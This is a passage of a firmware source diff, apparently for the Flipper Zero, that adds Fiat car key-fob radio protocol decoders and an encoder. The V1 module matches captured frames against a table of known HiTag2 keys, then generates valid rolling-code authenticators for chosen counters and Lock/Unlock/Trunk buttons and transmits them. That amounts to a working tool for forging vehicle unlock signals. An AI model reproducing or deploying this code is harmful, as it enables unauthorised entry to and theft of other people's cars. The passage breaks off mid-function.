||||
instance->hitag2_key_valid = false;
|
||||
instance->hitag2_epoch = 0U;
|
||||
memset(instance->hitag2_key, 0, sizeof(instance->hitag2_key));
|
||||
|
||||
const uint32_t uid = instance->uid;
|
||||
const uint8_t button = instance->generic.btn;
|
||||
const uint16_t control = (uint16_t)(instance->generic.cnt & 0x03FFU);
|
||||
const uint32_t hop = instance->hop;
|
||||
|
||||
for(uint8_t i = 0U; i < FIAT_V1_KNOWN_KEY_COUNT; i++) {
|
||||
if(fiat_v1_key_matches(
|
||||
uid, button, control, hop, fiat_v1_known_keys[i], instance->hitag2_epoch)) {
|
||||
memcpy(instance->hitag2_key, fiat_v1_known_keys[i], sizeof(instance->hitag2_key));
|
||||
instance->hitag2_key_valid = true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool fiat_v1_encoder_build_upload(SubGhzProtocolEncoderFiatV1* instance) {
|
||||
furi_check(instance);
|
||||
LevelDuration* upload = instance->encoder.upload;
|
||||
if(!upload) {
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t index = 0U;
|
||||
|
||||
upload[index++] = level_duration_make(true, FIAT_V1_ENC_LEAD_US);
|
||||
|
||||
for(uint8_t bit_index = 0U; bit_index < FIAT_V1_WIRE_BITS; bit_index++) {
|
||||
const bool bit =
|
||||
((instance->raw_data[bit_index >> 3U] >> (7U - (bit_index & 7U))) & 1U) != 0U;
|
||||
upload[index++] = level_duration_make(bit, FIAT_V1_TE_SHORT);
|
||||
upload[index++] = level_duration_make(!bit, FIAT_V1_TE_SHORT);
|
||||
}
|
||||
|
||||
upload[index++] = level_duration_make(false, FIAT_V1_ENC_GAP_US);
|
||||
instance->encoder.size_upload = index;
|
||||
instance->encoder.front = 0U;
|
||||
return true;
|
||||
}
|
||||
|
||||
void* subghz_protocol_encoder_fiat_v1_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderFiatV1* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatV1));
|
||||
furi_check(instance);
|
||||
|
||||
instance->base.protocol = &fiat_v1_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->tail_bits = FIAT_V1_DEFAULT_TAIL_BITS;
|
||||
instance->encoder.repeat = FIAT_V1_ENC_DEFAULT_REPEAT;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_fiat_v1_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFiatV1* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_fiat_v1_stop(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFiatV1* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_fiat_v1_yield(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFiatV1* instance = context;
|
||||
|
||||
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
|
||||
instance->encoder.size_upload == 0) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
furi_check(flipper_format);
|
||||
SubGhzProtocolEncoderFiatV1* instance = context;
|
||||
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0U;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
FuriString* protocol_name = furi_string_alloc();
|
||||
bool protocol_ok = flipper_format_read_string(flipper_format, "Protocol", protocol_name) &&
|
||||
furi_string_equal(protocol_name, instance->base.protocol->name);
|
||||
furi_string_free(protocol_name);
|
||||
if(!protocol_ok) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t bit_count = 0U;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, "Bit", &bit_count, 1) ||
|
||||
bit_count != FIAT_V1_LOGICAL_BITS) {
|
||||
return SubGhzProtocolStatusErrorValueBitCount;
|
||||
}
|
||||
instance->generic.data_count_bit = bit_count;
|
||||
|
||||
uint32_t serial = 0U;
|
||||
uint32_t button = 0U;
|
||||
uint32_t control = 0U;
|
||||
uint8_t raw_from_file[FIAT_V1_WIRE_BYTES] = {0};
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_hex(flipper_format, FIAT_V1_RAW_FIELD, raw_from_file, sizeof(raw_from_file)) &&
|
||||
fiat_v1_frame_valid(raw_from_file)) {
|
||||
serial = fiat_v1_uid(raw_from_file);
|
||||
button = raw_from_file[6] >> 4U;
|
||||
control = fiat_v1_counter(raw_from_file);
|
||||
instance->tail_bits = raw_from_file[11] & 0x03U;
|
||||
} else {
|
||||
SubGhzBlockGeneric generic = {0};
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(subghz_block_generic_deserialize_check_count_bit(
|
||||
&generic, flipper_format, subghz_protocol_fiat_v1_const.min_count_bit_for_found) ==
|
||||
SubGhzProtocolStatusOk) {
|
||||
serial = (uint32_t)(generic.data >> 32U);
|
||||
button = generic.btn;
|
||||
control = generic.cnt;
|
||||
}
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Serial", &serial, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Btn", &button, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Cnt", &control, 1);
|
||||
if(serial == 0U || serial == UINT32_MAX || !fiat_v1_button_valid((uint8_t)button)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_hex(
|
||||
flipper_format, FIAT_V1_HITAG2_KEY_FIELD, instance->hitag2_key, 6U)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t epoch = 0U;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, FIAT_V1_HITAG2_EPOCH_FIELD, &epoch, 1U)) {
|
||||
instance->epoch = epoch & 0x3FFFFUL;
|
||||
} else {
|
||||
instance->epoch = 0U;
|
||||
}
|
||||
|
||||
control &= 0x03FFU;
|
||||
button &= 0x0FU;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.btn = (uint8_t)button;
|
||||
instance->generic.cnt = control;
|
||||
instance->hop = fiat_v1_bcm_generate_authenticator(
|
||||
serial, (uint8_t)button, (uint16_t)control, instance->hitag2_key, instance->epoch);
|
||||
instance->generic.data = ((uint64_t)serial << 32U) | instance->hop;
|
||||
instance->generic.data_count_bit = FIAT_V1_LOGICAL_BITS;
|
||||
|
||||
fiat_v1_build_raw(
|
||||
instance->raw_data,
|
||||
serial,
|
||||
(uint8_t)button,
|
||||
(uint16_t)control,
|
||||
instance->hop,
|
||||
instance->tail_bits);
|
||||
instance->frame_xor = instance->raw_data[12];
|
||||
|
||||
uint32_t repeat = FIAT_V1_ENC_DEFAULT_REPEAT;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
|
||||
instance->encoder.repeat = (repeat == 0U) ? FIAT_V1_ENC_DEFAULT_REPEAT : (size_t)repeat;
|
||||
|
||||
instance->encoder.upload = malloc(FIAT_V1_UPLOAD_CAPACITY * sizeof(LevelDuration));
|
||||
if(!fiat_v1_encoder_build_upload(instance)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"TX UID:%08lX Btn:%02lX Cnt:%03lX Auth:%08lX Epoch:%05lX XOR:%02X",
|
||||
(unsigned long)serial,
|
||||
(unsigned long)button,
|
||||
(unsigned long)control,
|
||||
(unsigned long)instance->hop,
|
||||
(unsigned long)instance->epoch,
|
||||
instance->frame_xor);
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_fiat_v1_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderFiatV1* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV1));
|
||||
furi_check(instance);
|
||||
instance->base.protocol = &fiat_v1_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
subghz_protocol_decoder_fiat_v1_reset(instance);
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v1_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV1* instance = context;
|
||||
|
||||
memset(instance->raw_data, 0, sizeof(instance->raw_data));
|
||||
memset(instance->last_raw_data, 0, sizeof(instance->last_raw_data));
|
||||
instance->decoder.parser_step = FiatV1DecoderStepReset;
|
||||
instance->decoder.decode_data = 0U;
|
||||
instance->decoder.decode_count_bit = 0U;
|
||||
instance->last_raw_valid = false;
|
||||
instance->generic.data = 0U;
|
||||
instance->generic.data_count_bit = 0U;
|
||||
instance->generic.serial = 0U;
|
||||
instance->generic.btn = 0U;
|
||||
instance->generic.cnt = 0U;
|
||||
instance->uid = 0U;
|
||||
instance->hop = 0U;
|
||||
instance->family = 0U;
|
||||
instance->tail_bits = FIAT_V1_DEFAULT_TAIL_BITS;
|
||||
instance->frame_xor = 0U;
|
||||
instance->hitag2_key_valid = false;
|
||||
instance->hitag2_epoch = 0U;
|
||||
memset(instance->hitag2_key, 0, sizeof(instance->hitag2_key));
|
||||
fiat_v1_clear_all_cells(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v1_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV1* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FiatV1DecoderStepReset:
|
||||
if(fiat_v1_duration_is_pulse(duration)) {
|
||||
fiat_v1_clear_all_cells(instance);
|
||||
instance->decoder.parser_step = FiatV1DecoderStepData;
|
||||
(void)fiat_v1_feed_data_pulse(instance, level, duration);
|
||||
}
|
||||
break;
|
||||
|
||||
case FiatV1DecoderStepData:
|
||||
if(!fiat_v1_feed_data_pulse(instance, level, duration)) {
|
||||
instance->decoder.parser_step = FiatV1DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_fiat_v1_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV1* instance = context;
|
||||
SubGhzBlockDecoder decoder = {
|
||||
.decode_data = instance->generic.data,
|
||||
.decode_count_bit = 64U,
|
||||
};
|
||||
return subghz_protocol_blocks_get_hash_data(&decoder, 8U) ^
|
||||
(uint8_t)(instance->generic.cnt >> 8U) ^ (uint8_t)instance->generic.cnt ^
|
||||
instance->generic.btn ^ instance->frame_xor;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v1_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV1* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_hex(
|
||||
flipper_format, FIAT_V1_RAW_FIELD, instance->raw_data, FIAT_V1_WIRE_BYTES);
|
||||
|
||||
uint32_t hop = instance->hop;
|
||||
uint32_t frame_xor = instance->frame_xor;
|
||||
uint32_t tail_bits = instance->tail_bits;
|
||||
if(!flipper_format_write_uint32(flipper_format, FIAT_V1_HOP_FIELD, &hop, 1) ||
|
||||
!flipper_format_write_uint32(flipper_format, FIAT_V1_XOR_FIELD, &frame_xor, 1) ||
|
||||
!flipper_format_write_uint32(flipper_format, FIAT_V1_TAIL_BITS_FIELD, &tail_bits, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t serial_val = instance->generic.serial;
|
||||
uint32_t btn_val = instance->generic.btn;
|
||||
uint32_t cnt_val = instance->generic.cnt;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Serial", &serial_val, 1) ||
|
||||
!flipper_format_write_uint32(flipper_format, "Btn", &btn_val, 1) ||
|
||||
!flipper_format_write_uint32(flipper_format, "Cnt", &cnt_val, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
if(instance->hitag2_key_valid) {
|
||||
uint32_t epoch = instance->hitag2_epoch & 0x3FFFFUL;
|
||||
if(!flipper_format_insert_or_update_hex(
|
||||
flipper_format, FIAT_V1_HITAG2_KEY_FIELD, instance->hitag2_key, 6U) ||
|
||||
!flipper_format_write_uint32(
|
||||
flipper_format, FIAT_V1_HITAG2_EPOCH_FIELD, &epoch, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
}
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
static void fiat_v1_load_hitag2_key(
|
||||
SubGhzProtocolDecoderFiatV1* instance,
|
||||
FlipperFormat* flipper_format) {
|
||||
uint8_t key[6] = {0};
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_hex(flipper_format, FIAT_V1_HITAG2_KEY_FIELD, key, 6U)) {
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t epoch = 0U;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, FIAT_V1_HITAG2_EPOCH_FIELD, &epoch, 1U)) {
|
||||
epoch &= 0x3FFFFUL;
|
||||
} else {
|
||||
epoch = 0U;
|
||||
}
|
||||
|
||||
memcpy(instance->hitag2_key, key, sizeof(instance->hitag2_key));
|
||||
instance->hitag2_epoch = epoch;
|
||||
instance->hitag2_key_valid = fiat_v1_key_matches(
|
||||
instance->uid,
|
||||
instance->generic.btn,
|
||||
(uint16_t)(instance->generic.cnt & 0x03FFU),
|
||||
instance->hop,
|
||||
key,
|
||||
epoch);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV1* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_fiat_v1_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
}
|
||||
if(instance->generic.data_count_bit != FIAT_V1_LOGICAL_BITS) {
|
||||
return SubGhzProtocolStatusErrorValueBitCount;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_hex(
|
||||
flipper_format, FIAT_V1_RAW_FIELD, instance->raw_data, FIAT_V1_WIRE_BYTES)) {
|
||||
if(!fiat_v1_frame_valid(instance->raw_data)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
fiat_v1_decode_fields(instance);
|
||||
fiat_v1_load_hitag2_key(instance, flipper_format);
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
instance->generic.serial = (uint32_t)(instance->generic.data >> 32U);
|
||||
instance->hop = (uint32_t)instance->generic.data;
|
||||
instance->family = 0x01U;
|
||||
instance->uid = instance->generic.serial;
|
||||
instance->tail_bits = FIAT_V1_DEFAULT_TAIL_BITS;
|
||||
|
||||
uint32_t value = 0U;
|
||||
if(flipper_format_read_uint32(flipper_format, "Serial", &value, 1)) {
|
||||
instance->generic.serial = value;
|
||||
}
|
||||
if(flipper_format_read_uint32(flipper_format, "Btn", &value, 1)) {
|
||||
instance->generic.btn = (uint8_t)value;
|
||||
}
|
||||
if(flipper_format_read_uint32(flipper_format, "Cnt", &value, 1)) {
|
||||
instance->generic.cnt = value;
|
||||
}
|
||||
if(flipper_format_read_uint32(flipper_format, FIAT_V1_HOP_FIELD, &value, 1)) {
|
||||
instance->hop = value;
|
||||
}
|
||||
if(flipper_format_read_uint32(flipper_format, FIAT_V1_XOR_FIELD, &value, 1)) {
|
||||
instance->frame_xor = (uint8_t)value;
|
||||
}
|
||||
if(flipper_format_read_uint32(flipper_format, FIAT_V1_TAIL_BITS_FIELD, &value, 1)) {
|
||||
instance->tail_bits = (uint8_t)(value & 0x03U);
|
||||
}
|
||||
|
||||
fiat_v1_rebuild_raw(instance);
|
||||
if(!fiat_v1_frame_valid(instance->raw_data)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
fiat_v1_decode_fields(instance);
|
||||
fiat_v1_load_hitag2_key(instance, flipper_format);
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v1_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV1* instance = context;
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %ubit %s\r\n"
|
||||
"%08lX %03lX%01X %08lX\r\n"
|
||||
"Sync:%02X UID:%08lX Auth:%08lX\r\n"
|
||||
"Btn:%02X [%s] Ctrl:%03lX\r\n"
|
||||
"Tail:%u XOR:%02X\r\n",
|
||||
instance->generic.protocol_name,
|
||||
FIAT_V1_LOGICAL_BITS,
|
||||
instance->hitag2_key_valid ? "KEY:OK" : "KEY:??",
|
||||
(unsigned long)instance->generic.serial,
|
||||
(unsigned long)instance->generic.cnt,
|
||||
instance->generic.btn,
|
||||
(unsigned long)instance->hop,
|
||||
instance->family,
|
||||
(unsigned long)instance->uid,
|
||||
(unsigned long)instance->hop,
|
||||
instance->generic.btn,
|
||||
fiat_v1_button_name(instance->generic.btn),
|
||||
(unsigned long)instance->generic.cnt,
|
||||
instance->tail_bits,
|
||||
instance->frame_xor);
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define FIAT_V1_PROTOCOL_NAME "Fiat V1"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderFiatV1 SubGhzProtocolDecoderFiatV1;
|
||||
typedef struct SubGhzProtocolEncoderFiatV1 SubGhzProtocolEncoderFiatV1;
|
||||
|
||||
extern const SubGhzProtocol fiat_v1_protocol;
|
||||
|
||||
void* subghz_protocol_decoder_fiat_v1_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_fiat_v1_reset(void* context);
|
||||
void subghz_protocol_decoder_fiat_v1_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_fiat_v1_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v1_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_fiat_v1_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_fiat_v1_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_fiat_v1_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_fiat_v1_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_fiat_v1_yield(void* context);
|
||||
@@ -0,0 +1,426 @@
|
||||
#include "fiat_v2.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "FiatProtocolV2"
|
||||
|
||||
#define FIAT_V2_TE_SHORT 210U
|
||||
#define FIAT_V2_TE_LONG 420U
|
||||
#define FIAT_V2_TE_DELTA 100U
|
||||
#define FIAT_V2_BOUNDARY_MIN_US 900U
|
||||
#define FIAT_V2_WIRE_BITS 112U
|
||||
#define FIAT_V2_WIRE_BYTES 14U
|
||||
#define FIAT_V2_WIRE_CELLS (FIAT_V2_WIRE_BITS * 2U)
|
||||
#define FIAT_V2_LOGICAL_BITS 112U
|
||||
#define FIAT_V2_MARKER0 0x00U
|
||||
#define FIAT_V2_MARKER1 0x01U
|
||||
#define FIAT_V2_BTN_SHIFT 6U
|
||||
#define FIAT_V2_BUTTON_LOCK 0x2U
|
||||
#define FIAT_V2_BUTTON_UNLOCK 0x3U
|
||||
#define FIAT_V2_BUTTON_TRUNK 0x1U
|
||||
#define FIAT_V2_CNT_SHIFT 3U
|
||||
#define FIAT_V2_FCA_TYPE_NIBBLE 0xD0U
|
||||
#define FIAT_V2_RAW_FIELD "Raw"
|
||||
#define FIAT_V2_HOP_FIELD "Hop"
|
||||
#define FIAT_V2_BTN_FIELD "Btn"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_fiat_v2_const = {
|
||||
.te_short = FIAT_V2_TE_SHORT,
|
||||
.te_long = FIAT_V2_TE_LONG,
|
||||
.te_delta = FIAT_V2_TE_DELTA,
|
||||
.min_count_bit_for_found = FIAT_V2_LOGICAL_BITS,
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
FiatV2DecoderStepReset = 0,
|
||||
FiatV2DecoderStepData = 1,
|
||||
} FiatV2DecoderStep;
|
||||
|
||||
struct SubGhzProtocolDecoderFiatV2 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint8_t cells[FIAT_V2_WIRE_CELLS];
|
||||
uint16_t cell_count;
|
||||
|
||||
uint8_t raw_data[FIAT_V2_WIRE_BYTES];
|
||||
uint8_t last_raw_data[FIAT_V2_WIRE_BYTES];
|
||||
bool last_raw_valid;
|
||||
|
||||
uint32_t uid;
|
||||
uint32_t hop;
|
||||
uint8_t button;
|
||||
};
|
||||
|
||||
static bool fiat_v2_feed_data_pulse(
|
||||
SubGhzProtocolDecoderFiatV2* instance,
|
||||
bool level,
|
||||
uint32_t duration);
|
||||
static bool fiat_v2_frame_valid(const uint8_t raw[FIAT_V2_WIRE_BYTES]);
|
||||
|
||||
static void subghz_protocol_decoder_fiat_v2_free(void* context) {
|
||||
furi_assert(context);
|
||||
free(context);
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_fiat_v2_decoder = {
|
||||
.alloc = subghz_protocol_decoder_fiat_v2_alloc,
|
||||
.free = subghz_protocol_decoder_fiat_v2_free,
|
||||
.feed = subghz_protocol_decoder_fiat_v2_feed,
|
||||
.reset = subghz_protocol_decoder_fiat_v2_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_fiat_v2_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_fiat_v2_serialize,
|
||||
.deserialize = subghz_protocol_decoder_fiat_v2_deserialize,
|
||||
.get_string = subghz_protocol_decoder_fiat_v2_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_fiat_v2_encoder = {
|
||||
.alloc = NULL,
|
||||
.free = NULL,
|
||||
.deserialize = NULL,
|
||||
.stop = NULL,
|
||||
.yield = NULL,
|
||||
};
|
||||
|
||||
const SubGhzProtocol fiat_v2_protocol = {
|
||||
.name = FIAT_V2_PROTOCOL_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save,
|
||||
.decoder = &subghz_protocol_fiat_v2_decoder,
|
||||
.encoder = &subghz_protocol_fiat_v2_encoder,
|
||||
};
|
||||
|
||||
static bool fiat_v2_duration_is_short(uint32_t duration) {
|
||||
return DURATION_DIFF(duration, subghz_protocol_fiat_v2_const.te_short) <
|
||||
subghz_protocol_fiat_v2_const.te_delta;
|
||||
}
|
||||
|
||||
static bool fiat_v2_duration_is_long(uint32_t duration) {
|
||||
return DURATION_DIFF(duration, subghz_protocol_fiat_v2_const.te_long) <
|
||||
subghz_protocol_fiat_v2_const.te_delta;
|
||||
}
|
||||
|
||||
static bool fiat_v2_button_valid(uint8_t button) {
|
||||
const uint8_t sel = button >> FIAT_V2_BTN_SHIFT;
|
||||
return sel == FIAT_V2_BUTTON_LOCK || sel == FIAT_V2_BUTTON_UNLOCK ||
|
||||
sel == FIAT_V2_BUTTON_TRUNK;
|
||||
}
|
||||
|
||||
static const char* fiat_v2_button_name(uint8_t button) {
|
||||
switch(button >> FIAT_V2_BTN_SHIFT) {
|
||||
case FIAT_V2_BUTTON_LOCK:
|
||||
return "Lock";
|
||||
case FIAT_V2_BUTTON_UNLOCK:
|
||||
return "Unlock";
|
||||
case FIAT_V2_BUTTON_TRUNK:
|
||||
return "Trunk";
|
||||
default:
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
static uint32_t fiat_v2_uid(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
|
||||
return ((uint32_t)raw[2] << 24U) | ((uint32_t)raw[3] << 16U) |
|
||||
((uint32_t)raw[4] << 8U) | raw[5];
|
||||
}
|
||||
|
||||
static bool fiat_v2_is_fca(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
|
||||
return (raw[6] & 0xF0U) == FIAT_V2_FCA_TYPE_NIBBLE;
|
||||
}
|
||||
static uint32_t fiat_v2_hop(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
|
||||
if(fiat_v2_is_fca(raw)) {
|
||||
return ((uint32_t)raw[10] << 24U) | ((uint32_t)raw[11] << 16U) |
|
||||
((uint32_t)raw[12] << 8U) | raw[13];
|
||||
}
|
||||
return ((uint32_t)raw[9] << 24U) | ((uint32_t)raw[10] << 16U) |
|
||||
((uint32_t)raw[11] << 8U) | raw[12];
|
||||
}
|
||||
|
||||
static uint32_t fiat_v2_counter(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
|
||||
if(fiat_v2_is_fca(raw)) {
|
||||
const uint32_t raw_cnt = ((uint32_t)raw[8] << 6U) | (uint32_t)(raw[9] >> 2U);
|
||||
return (~raw_cnt) & 0x3FFFU;
|
||||
}
|
||||
const uint32_t raw_cnt =
|
||||
((uint32_t)(raw[7] & 0x3FU) << 5U) | (uint32_t)(raw[8] >> FIAT_V2_CNT_SHIFT);
|
||||
return (~raw_cnt) & 0x7FFU;
|
||||
}
|
||||
|
||||
|
||||
static bool fiat_v2_frame_valid(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
|
||||
if(raw[0] != FIAT_V2_MARKER0 || raw[1] != FIAT_V2_MARKER1) {
|
||||
return false;
|
||||
}
|
||||
if(!fiat_v2_button_valid(raw[7])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint32_t uid = fiat_v2_uid(raw);
|
||||
return uid != 0U && uid != UINT32_MAX;
|
||||
}
|
||||
|
||||
static void fiat_v2_clear_cells(SubGhzProtocolDecoderFiatV2* instance) {
|
||||
instance->cell_count = 0U;
|
||||
memset(instance->cells, 0, sizeof(instance->cells));
|
||||
}
|
||||
|
||||
static void fiat_v2_decode_fields(SubGhzProtocolDecoderFiatV2* instance) {
|
||||
instance->uid = fiat_v2_uid(instance->raw_data);
|
||||
instance->button = instance->raw_data[7];
|
||||
instance->hop = fiat_v2_hop(instance->raw_data);
|
||||
instance->generic.serial = instance->uid;
|
||||
instance->generic.btn = instance->button;
|
||||
instance->generic.cnt = fiat_v2_counter(instance->raw_data);
|
||||
instance->generic.data = ((uint64_t)instance->generic.serial << 32U) | instance->hop;
|
||||
instance->generic.data_count_bit = FIAT_V2_LOGICAL_BITS;
|
||||
instance->decoder.decode_data = instance->generic.data;
|
||||
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
|
||||
}
|
||||
|
||||
static bool fiat_v2_commit(
|
||||
SubGhzProtocolDecoderFiatV2* instance,
|
||||
const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
|
||||
if(!fiat_v2_frame_valid(raw)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
